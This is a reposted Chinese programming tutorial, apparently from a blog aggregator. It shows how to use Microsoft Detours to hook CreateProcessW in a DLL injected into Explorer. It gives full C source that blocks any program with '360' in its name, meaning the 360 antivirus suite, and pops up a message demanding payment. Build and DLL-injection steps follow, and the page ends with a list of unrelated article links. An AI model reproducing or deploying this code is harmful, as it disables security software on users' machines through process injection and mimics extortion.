基于Detours劫持360启动
来源:互联网 发布:linux安全加固方案 编辑:程序博客网 时间:2024/05/21 04:40
一.首先需要下载detours(百度或者google),这里我们下载的DetoursExpress30.msi
二.安装detours 编译原代码
三.在VS2013 中找到Visual Studio Tools
四.以管理员的身份运行vs2013开发人员命令提示 ,切换到Detours的src目录输入nmake命令
五.编译成功后即可使用detours.lib 文件
六.劫持原理
劫持代码:(这里使用不是Debug,而是release)
#include<stdio.h>#include<Windows.h>#include<string.h>#include<stdlib.h>#include"detours.h"#pragma comment(lib,"detours.lib")//1.首先要定义函数指针获取你要劫持的函数地址//2.定义并实现自己劫持执行的函数,其参数要与被劫持的参数一样static BOOL(WINAPI *OldCreateProcess)(LPCTSTR lpApplicationName,LPTSTR lpCommandLine,LPSECURITY_ATTRIBUTES lpProcessAttributes,LPSECURITY_ATTRIBUTES lpThreadAttributes,BOOL bInheritHandles,DWORD dwCreationFlags,LPVOID lpEnvironment,LPCTSTR lpCurrentDirectory,LPSTARTUPINFO lpStartupInfo,LPPROCESS_INFORMATION lpProcessInformation) = CreateProcessW; //要劫持创建进程函数,实现劫持创建进程//劫持后执行的函数,就是将CreateProcessW这个函数替换为newCreateProcess因此要求函数参数必须一样static BOOL WINAPI newCreateProcess(LPCTSTR lpApplicationName,LPTSTR lpCommandLine,LPSECURITY_ATTRIBUTES lpProcessAttributes,LPSECURITY_ATTRIBUTES lpThreadAttributes,BOOL bInheritHandles,DWORD dwCreationFlags,LPVOID lpEnvironment,LPCTSTR lpCurrentDirectory,LPSTARTUPINFO lpStartupInfo,LPPROCESS_INFORMATION lpProcessInformation){// 将wchar 转换为char *int num = WideCharToMultiByte(CP_OEMCP, NULL, lpApplicationName, -1, NULL, 0, NULL, FALSE);char *pchar = (char *)malloc(num);WideCharToMultiByte(CP_OEMCP, NULL, lpApplicationName, -1, pchar, num, NULL, FALSE);if (strstr(pchar, "360"))//过滤程序名,如果包含360 就劫持{MessageBoxA(0, "360禁止启动,请交费", "提示", MB_OK);}else{OldCreateProcess(lpApplicationName,lpCommandLine,lpProcessAttributes,lpThreadAttributes,bInheritHandles,dwCreationFlags,lpEnvironment,lpCurrentDirectory,lpStartupInfo,lpProcessInformation);}free(pchar);//释放资源}//开始拦截void Hook(){DetourRestoreAfterWith();//恢复原来状态,DetourTransactionBegin();//拦截开始DetourUpdateThread(GetCurrentThread());//刷新当前线程//这里可以连续多次调用DetourAttach,表明HOOK多个函数//OldCreateProcess 要劫持的函数指针 newCreateProcess劫持后执行的函数,就是用newCreateProcess替换OldCreateProcessDetourAttach((void **)&OldCreateProcess, newCreateProcess);//实现函数拦截函数DetourTransactionCommit();//拦截生效}//取消拦截void UnHook(){DetourTransactionBegin();//拦截开始DetourUpdateThread(GetCurrentThread());//刷新当前线程//这里可以连续多次调用DetourDetach,表明撤销多个函数HOOKDetourDetach((void **)&OldCreateProcess, newCreateProcess); //撤销拦截函数DetourTransactionCommit();//拦截生效}__declspec(dllexport) void start_run()//导出dll{Hook();Sleep(300000/5);// 表示在系统中的时间UnHook();}
使用DllInject.exe 工具进行dll注射到Explorer 是桌面进程
点击360 运行程序
1 0
- 基于Detours劫持360启动
- 使用detours实现劫持
- Detours实现劫持
- detours 游戏外挂:劫持技术
- 利用detours实现API劫持
- 利用detours劫持自己的系统函数
- 利用Detours对程序进行劫持
- Chrome启动页被360劫持
- detours
- Detours
- detours
- Detours
- 浏览器启动劫持
- VC++实现镜像劫持(360保险箱启动原理)
- linux--函数劫持--基于LD_PRELOAD
- linux--函数劫持--基于LD_PRELOAD
- linux--函数劫持--基于LD_PRELOAD
- DLL劫持及调用数据跟踪二: 利用 MS 的Detours
- execl 导出文件
- pdf图表导出总结,同时可以应用到excel中
- 马一鸣AA小助手-1
- android studio 的神器--bitmap
- spark-parquet列存储之:文件存储细节之:RowWriteSupport和RecordWriter
- 基于Detours劫持360启动
- Getting Started with TLM-2.0
- oracle connect by start with
- dojo上传功能有用的文章
- Lua学习(六)-----函数
- 设计模式实例-单例
- 引用,其实不可以改变指向
- POJ2226 Muddy Fields【二分图最小点覆盖】
- 在Java继承中,非构造函数的方法的分析